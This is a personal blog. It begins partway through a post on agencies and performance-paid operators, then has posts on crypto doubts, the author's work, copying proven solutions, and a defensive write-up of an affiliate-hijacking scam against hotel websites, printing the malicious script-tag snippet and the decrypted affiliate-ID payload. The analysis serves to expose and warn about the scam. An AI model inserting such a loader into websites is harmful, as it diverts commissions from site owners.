You optimize for Survival (grow the business).

As long as they send the reports and don't get fired, they win.
For a small business, that is a dangerously low bar.

The "Junior" Tax

In a small business, you are usually sold by the Agency Owner - the flamboyant expert. But the moment you sign, the work is handed to a junior/intern employee managing 10 other accounts.

The Agency Owner moves on to sell the next client. This isn't malice; it's the only way their business model works. You are paying a premium price for entry-level execution. In a small team, you cannot afford "filler" people. You need killers.

The Cost Paradox

The alternative to an agency is an "Operator" - a specialized Lead for Growth, Tech, or Content. Here is the hard truth: Replacing an agency with a true expert will likely cost you more.

An agency might charge $5,000/month for "Digital Services."
A top-tier Operator might charge $8,000/month.

You look at the bank account and choose the agency. You are wrong.

The $5k agency fee is a Cost. It buys you posts, meetings, and excuses.
The $8k Operator fee is an Investment. It buys you leverage, systems, and sales.

In the SME world, quality is not 20% more expensive than mediocrity; it is 10x more valuable. One expert who moves the needle is worth five juniors who just "manage the account."

The Freelancer Risk (and the Fix)

Here is the nuance most people miss:

Hiring a freelancer creates the same conflict of interest as hiring an agency.

If you pay a freelancer a flat retainer, they eventually become a "Renter." Their incentive shifts to doing the bare minimum to keep the check coming. They become a mini-agency of one.

The only way to solve this is what I call "Radical Alignment".

You cannot just "hire" an expert. You must align their wallet with yours.

Don't just pay a Retainer.
Pay for Performance: Base fee + % of the revenue growth they generate.
Pay for Efficiency: A bonus for reducing ad costs while maintaining sales.
Profit Share: A cut of the net profit from the specific channel they own.

When you hire an agency, you are renting a vendor who wants to bill you forever.
When you incentivize an Operator with a profit share, you are gaining a partner who wants to win with you.

The Playbook: How to De-Risk the Transition

The biggest fear SME owners have is: "What if I hire this expensive expert and they turn out to be a fraud?"

Valid fear. The market is full of fakes.

Here is how you filter them.

1. The "Paid Audit" Filter
Never sign a long-term retainer or equity deal on Day 1. That is marriage before the first date.

Pay a flat fee for a 2-week Audit/Strategy roadmap.

Is the roadmap generic fluff? Fire them. You lost a small fee, but saved your company.
If it reveals things about your business you didn't know? Hire them.
The Trust Test: If they refuse a performance deal because they say your product conversion rate is too low... listen to them. They just saved you $50k in ad spend. An agency would have taken your money and run traffic to a broken funnel.

2. Solve the "Bus Factor"
Agencies claim they are safer because they have "backups" if the guy in charge is ill or outright disappears. An Operator makes you safer by building systems.

Your contract must state that they are not just there to pull levers; they are there to document how the levers are pulled.

An agency rents you a driver. An Operator builds you a self-driving car. If they leave, the machine must still run.

3. The Autonomy Check
If you have to "manage" them, they aren't an Operator. They are just a freelancer.
The definition of an Operator is someone who tells you what is needed. If you find yourself assigning tasks, you hired the wrong person. Cut bait early.

The Shift

The era of "outsourcing your brain" is over.
For the independent small to medium businesses, the goal is not to find a vendor who can "handle it." The goal is to internalize the competence.

Agencies want you to be dependent on them.
Aligned Operators want to build systems that run without them.

Stop renting time. Start buying outcomes.

A Warning: Who Should NOT Do This

I want to be clear: The "Operator Model" is not for everyone.

Stick to an Agency if:

You want to be hands-off and just "check the box" on marketing.
You cannot handle the truth about your product or business flaws.
You need "safe" results to report to a board, not aggressive growth.

Switch to an Operator if:

You are willing to pay a premium for competence.
You have the stomach to manage high-performance talent.
You care more about the outcome than the process.

This path is harder. But the view from the top is better.

Let's Talk About Crypto

Fri, 21 Nov 2025 10:49:01 GMT

I’ve been around this space for a while.

My first real contact with it was Ethereum, around 2015. I was obsessed with the idea of mining: GPU goes brrrr, and some magical internet coins appear out of nowhere. That was insanely cool.

A lot has happened since then.

I lost the ETH I mined, crypto went mainstream, we got ETFs, institutions, regulations, influencers, you name it.

And somewhere along the way, I feel like we quietly lost the main point of what this stuff was supposed to be: an independent way to transfer value.

Censorship-resistant money. P2P cash. Be your own bank.

How many people actually use BTC/ETH today to move wealth from A to B privately? (Worth adding that "privately" is a very big word. Might talk about it some day)

Very, very few.

Most people want to make a quick buck.

And to be fair, there is money to be made. Volatility cuts both ways: it wipes people out, but it also creates opportunities if you know what you’re doing, manage risk, and get a bit lucky. The problem is when “number go up” becomes the only narrative. At that point, you’re not in a monetary revolution anymore, you’re just in a slightly more degenerate version of the stock market with way worse regulation and better memes.

Nothing wrong with wanting to profit, but when 90% of the space behaves like a casino, the original purpose gets diluted. That opens the door to heavy speculation, manipulation, and all the other unhealthy side effects we see every cycle.

For the first time since 2015, I’m genuinely doubting the integrity of the whole space.

I used to think crypto was an extremely cool piece of tech that could reshape how we coordinate and exchange value. Today, I’m not sure if it’s slowly morphing into a big, nicely-packaged vaporwave cabal.

I still believe blockchain-powered tokenization will move forward as part of the whole Agenda 2030 / Sustainable Development Goals framework. But I don’t think it will necessarily be “benevolent” or liberating. It might just end up as yet another layer of control over people.

Recently, I stumbled upon this guy on Reddit. If you’re into crypto, I suggest reading some of his content with an open mind. There are plenty of arguments and counter-arguments, and exposing yourself to different perspectives has never hurt anyone:

https://www.reddit.com/r/CryptoReality/comments/12kctx9/stupid_crypto_talking_points_rough_draft/

There you'll find a link to an updated version that lies on another website.
Linked Reddit so you can also read the whole debate.

Food for thought!

:)

What I Actually Do for Work

Wed, 19 Nov 2025 18:37:42 GMT

“What do you do for a living?”

Every time, I feel the same small friction upon answering: picking a job title feels wrong. My work doesn’t fit one box, so this is an attempt to write it down for those wondering, but mostly for myself.

The short version

The closest honest description is:

I design, build, run, and scale digital systems end to end, using the internet, automations, AI, a mix of product/growth thinking, and sometimes connecting the people needed to keep those systems working.

I’m not a developer, a marketer, or an AI specialist.

I live in the overlap: where product, technology, automation, and people all have to work together in the real world (and generate revenue).

A few different worlds at once

Over the past years, I’ve spent time in various places:

Web – websites, SEO, small products, internal tools, infrastructure, the stuff that actually runs online day to day.
AI – language models, image models, workflows, agents, and using them as infrastructure, rather than just fun toys.
Crypto/web3 – contracts, tokens, tools, bots, protocols, and whatnot, plus the messy reality of getting people to care.
Growth/marketing – funnels, campaigns, measurement, content, community, and the boring, important part: “Is this working?”
People & process – hiring, working with smart people, setting up basic structure so things don’t collapse under chaos.

I resonate with the saying:
“Jack of all trades, master of none”

That’s very true. I don’t go all in on a narrow specialisation.
Anyone vertical in something will perform better than me doing their craft.
I get good enough at each layer to connect them.

That’s where I’m useful, and where I want to be.

Three intense years

I spent three years in a crypto startup. Startup time is weird. In a large company, the same period might have meant one job title and a clear scope. In a startup, I did many jobs at once: product, dev, ops, marketing, support, experiments, automations, small tools, weird one-off projects.

It didn’t turn me into a world-class specialist in any single domain.

Instead, the experience synergised exceptionally with my curious/nerdy approach and taught me how the whole machine works as a system.
from idea → build → launch → to “why did this number suddenly drop this week?”.

I still use that crypto experience a lot - mostly as:

context (understanding how a business should be run)
an investing lens (where to put money, or to lose money in creative ways)
a bullshit detector (spotting patterns in scams, grifts, or overpromises and miscellaneous vaporwave)

I don’t wake up wanting to “build crypto” all day anymore.
It’s in my toolkit, it’s not my identity.

What I actually do

I build

Hands-on work looks like:

spinning up sites, landings, funnels
wiring forms, email, payments, tracking
deploying small tools, scripts, and internal utilities
integrating APIs, bots, and AI workflows

The goal isn’t perfect code. It’s shipping something that works and can be improved without starting over every time.

I connect

A lot of my work is connecting existing pieces:

website ↔ CRM
form ↔ email sequence ↔ follow-up
AI model ↔ real use case
problems ↔ automations ↔ simple rules of “what happens next”

I know enough of each part to make them talk without turning everything into a fragile mess.

I investigate and reverse-engineer

I also spend time figuring out how and why systems and things behave the way they do:

broken / working funnels
weird tracking
unexpected product behaviour

Sometimes I’ll let a scam attempt play out just enough (safely) to see:

who’s behind it, if possible
what data are they trying to grab
what the technical trick looks like

This applies for everything in life. I like to understand why things work the way they do.
Tools change: DevTools, AI assistants, logs, docs etc, but the pattern stays the same: observe → poke → understand → iterate

I work with people, not just tools

I don’t only build systems. I also care about who runs them.

That includes:

finding and working with smart people
deciding what to keep and what to delegate
putting just enough structure so work isn’t constant chaos

It’s not corporate org design. It’s more like: “let’s make this environment sane enough so people can do good work.”

The role behind all this

If I had to put a label on it, I’d pick something like:

Digital Systems Generalist

It’s just shorthand, but it feels a bit strong.

The real role looks more like this:

take an idea or a problem (preferably a problem)
understand constraints (people, tech, time, budget, energy)
decide what’s worth building, what can be reused, and what should be ignored
build the first version, or guide its build
wire in AI, automation, and measurement where it actually helps
involve the right people, and give them a structure that doesn’t suck
keep an eye on whether the whole thing is doing what it was supposed to do
profit, iterate, improve, scale

Sometimes I’m the one who builds.
Sometimes I’m the one who designs the system and coordinates others.
Most of the time, it’s a mix.

So, what do I say when someone asks?

From now on, I’ll say something on the lines of:

I design, build, run, and scale digital systems end to end, using the internet, automations, AI, a mix of product/growth thinking, and connecting the people needed to keep those systems working.

It’s not perfect, but it’s the closest I can get.

And if someone ever wants to know more, now I can point them to this note.

Start with the Problem, Not the Solution

Wed, 15 Oct 2025 09:50:44 GMT

There's a counterintuitive truth I keep coming back to: starting with a solution is often the wrong way to build something meaningful.

We're drawn to elegant solutions. We see a clever piece of technology, a smart business model, or an innovative approach, and we want to apply it. The solution becomes the starting point. But this gets the sequence backwards.

The most robust concepts emerge from deep problem understanding. When you start with the problem – really sitting with it, understanding its contours, who experiences it and how – the solution often reveals itself differently than if you'd begun with a preconceived answer.

This is where something interesting happens with copying.

There's a stigma around being a "copier," but a good copier often outperforms the original innovator. Why? Because they're not copying blindly. They're seeing a proven solution to a real problem and adapting it to a context where that same problem exists.

If something works brilliantly in one market, there's value in recognizing that the underlying problem likely exists elsewhere. The good copier asks: "What problem does this solve? Does that problem exist here? Can this solution transfer?"

This isn't about plagiarism or lacking originality. It's about pattern recognition and efficient problem-solving.

Of course, there are limits. Culture matters. Local context matters. Infrastructure, regulations, social norms – these create boundaries around what transfers cleanly and what doesn't. A solution that works in one regulatory environment might be impossible in another. A product that resonates with one culture's values might fall flat elsewhere.

But these exceptions don't invalidate the principle. They just require judgment.

The trap is letting ego drive the process. Wanting to be original for originality's sake. Insisting your solution must be novel when the problem itself is common and already has working answers.

Start with the problem. Understand it deeply. Then look around – has someone already solved this? If they have, and the context allows, there's no shame in copying well. In fact, it might be the smartest move.

The Anatomy of a Modern Affiliate Scam

Fri, 10 Oct 2025 09:48:40 GMT

It all started with an email that seemed perfectly reasonable.

"The manager of the website hotelwebsiteimanage.it has provided us with your contact details to help us with a small update.", wrote Marco. A small update. A pre-generated widget. No big deal.

I manage many hotel websites. It's not unusual to get requests like this - hotels partnering with service providers, needing small technical implementations. The email came from what appeared to be a (somewhat) legitimate-looking service.

But something felt off. I like to play with these guys, so instead of ignoring it, I decided to play along to understand more.

Marco's response came with a Google Doc with implementation instructions. Professional formatting, clear steps. Two simple script tags and a div element.

A "floating language selector" for better visibility.
Except the site already has foolproof multi-language.

Red Flags anyone?

The implementation instructions seemed standard:

<script async src="https://static.elfsightwidget.com/platform/platform.js"></script> <script async src="https://cdn.fraudwebsite.com/verify.js" data-site-id="12648" data-client="reviewsummary" data-hash="53e73er9f33fp5a6d310f1n1c11b7f30"> </script> <div class="elfsight-app-e31202b8-8895-42d7-89ec-a6c0f20ea3a5" data-elfsight-app-lazy></div>

But something felt off. The first script loads from Elfsight - a legitimate widget platform. But the second?

I opened verify.js. What I found wasn't a simple widget loader. It was 200+ lines of heavily obfuscated code.

Now, I'm not a programmer. I can read some code, perform some magic tricks, and everything - but reverse engineering obfuscated JavaScript? Nah, that's not my expertise. Luckily, we live in an era of AI tools.

Deconstructing the Code (With Help)

I fed the code to Claude. The AI helped me understand what I was looking at. The script was fascinating in its complexity:

1. Browser Fingerprinting

First, it detected whether users were in private browsing mode. Different techniques for each browser - Chrome checks storage quotas, Firefox checks service workers, and Safari tries specific storage operations.

Why would a language widget care if you're browsing privately? It wouldn't.
Still can't understand why they check this, though.

2. Click Hijacking System

The core mechanism was elegant in its malice. Every click on the website was intercepted. If the clicked element matched certain patterns (stored in this.connection.schema), the script would:

Stop the real click
Prevent default browser behavior
Redirect to a modified URL with injected parameters

3. Command & Control

The script connected to awsverify.com (not sus at all) to receive instructions. It sent information about the website and received back encrypted instructions on which links to hijack.

The Smoking Gun

I needed to see what the server was actually sending. So I found a hotel website already infected with this code and used the browser's DevTools to intercept the network traffic.

The server responded with

{ "requestId": "191daacc-25d8-4f78-8d4f-dcc4a2b7c16f", "signature": "4a1a40040d0108050701444d557b521b424f..." // encrypted payload }

I understood they were using XOR encryption.
I ran the decryption code in my browser console, and here's the unencrypted payload:

{ "schema": { "a[href*=\"booking.com\"]": {"aid": "1777500"}, "a[href*=\"agoda.com\"]": {"cid": "1934546"}, "a[href*=\".tripadvisor.\"]": {"m": "68121"}, "a[href*=\"#book-now\"]": "https://www.booking.com/hotel/hidden.html?aid=1777500" } }

There it was. The script was hijacking every booking platform link and injecting their affiliate IDs.

How the Scam Works

Let me break down the money flow.

Normal Scenario:

Guest visits the hotel website
Clicks "Book on Booking.com"
Books a €100 room
Hotel earns 15-25% commission (€15-25)

With the Scam:

Guest visits the hotel website
Clicks "Book on Booking.com"
Script intercepts click
Replaces the hotel's affiliate ID with the scammer's
Books a €100 room
Scammer earns the €15-25 commission

The hotel never knows. The booking happens normally. Guests aren't affected. But every commission goes to the scammers.

The approach was clever but flawed:

Authority: "Your hotel manager gave us your contact" - except they probably never talked to anyone. And even if they did, it just means they got tricked.
Minimization: "Small update", "nothing critical" - making it seem harmless. Yeah sure.
Legitimacy: Using real services (Elfsight) alongside their malware.
Professional appearance: Proper documentation, Google Docs guides, official-looking emails.

Tools That Made This Possible

I couldn't have uncovered this without:

AI assistants (Claude) - Explained the obfuscated code
Browser DevTools - Captured network requests
Online decoders - Helped understand the encryption
Google - Found other infected sites
Basic pattern recognition - Sometimes you don't need to understand every line to know something's wrong

Lessons and Protection

This scam worked because it exploited trust and technical intimidation:

Code scares people - Most won't even check what they're implementing
Official-looking emails work - Even when they don't make complete sense
Everyone trusts simple implementations - It's just a widget, right?

How to protect yourself:

Trust your gut. If something feels off, investigate. That complexity I noticed? That was the first clue.

Use tools. You don't need to be a programmer. AI can help analyze suspicious code.

Verify directly. Contact the hotel. Contact the service provider. Don't trust email chains.

The Aftermath

I reported the affiliate IDs to Booking.com, Agoda, and TripAdvisor. Whether they'll investigate is unclear.

But somewhere, a hotel is losing thousands in commissions.
Somewhere, another website manager is getting the same email from a different "Marco".

Sometimes, asking "why is this so sus?" is all the expertise you need.

See you next time ( ͡° ͜ʖ ͡°)

Welcome to Notepad.

Thu, 11 Sep 2025 23:42:51 GMT

Welcome to Notepad.

This is not a blog in the usual sense.
It’s a place for notes - fragments of thought, (not necessarily) half-formed ideas, experiments, and reflections.

I wanted a space that sits between a private notebook and a public journal. Not everything here will be complete or polished. Some notes may look like sketches, others like snapshots of work in progress. The value is not in presenting finished pieces, but in documenting the process of thinking, building, and connecting dots.

Some notes will be short observations - a concept I want to capture before it slips away. Others may stretch into longer reflections when an idea deserves more space. But the principle remains: small entries, written simply.

Notepad is a way to keep ideas alive by giving them a place outside my head. It’s also an open archive - for me to look back on later, and for anyone else who might find something useful, inspiring, or thought-provoking in the margins.

There is no fixed direction. Notes will move between technology, projects, strategy, and personal reflections. What matters is that they’re real, current, and part of the larger flow.

Enjoy.

Notepad

AI for Business Is Not a Chatbot

The Real Picture Inside an Italian SMB

What “AI for Business” Actually Means

Why Nobody Is Building This

The Boring Version of the Future

The Most Profitable Minute in History (yet)

The Pattern Nobody Wants to Name

What Information Asymmetry Actually Looks Like

The Watchdogs Were Defanged First

The Crypto Layer

The Mechanism Is the Message

Who Bears the Cost

The $1.2 Million Fireplace: It's Just a Skill Issue

The Gap Between "Could Have" and "Did"

Solving the Actual Problem

Execution is the Great Filter

The Cartesian Plane of Existence: Matter, Spirit, and Battiato

The Horizontal Trap

The Vertical Escape

The Ideal Path

Keeping the "Inneres Auge" Open

Don't give the intern root access (or a Mac Mini)

The Mac Mini Epidemic

The Architecture: Identity and Isolation

Human in the Loop (HITL)

Computing the Edge of Chaos

Divide et Impera

The Economy of Conflict

The Figures Behind the Curtain

The Fiction of Opposition

The Camouflage of Chaos

The Fragmentation of the Self

The Scale Problem

What Winning Would Look Like

The Only Way Out

Why I’m Moving My Context Out of the Walled Garden

The Problem with Walled Gardens

The Blog as a Static API

The Shift

The Fatal Flaw of Feeling

I Know When You Sleep (Thanks to WhatsApp)

The Hack: Using Silence to Map Your Life

What Can They Actually See?

The Invisible Resource Drain

The "Big Tech" Implication

"It's Not a Bug"

Exposing yourself to the possibility

The Agency Trap: Profiting from Misalignment

The Incentive Gap (Efficiency is the Enemy)

The "Junior" Tax

The Cost Paradox

The Freelancer Risk (and the Fix)

The Playbook: How to De-Risk the Transition

The Shift

A Warning: Who Should NOT Do This

Let's Talk About Crypto

What I Actually Do for Work

The short version

A few different worlds at once

Three intense years

What I actually do

I build

I connect

I investigate and reverse-engineer

I work with people, not just tools

The role behind all this

So, what do I say when someone asks?

Start with the Problem, Not the Solution

The Anatomy of a Modern Affiliate Scam

Red Flags anyone?

Deconstructing the Code (With Help)

The Smoking Gun

How the Scam Works

The Social Engineering

Tools That Made This Possible

Lessons and Protection

The Aftermath

Welcome to Notepad.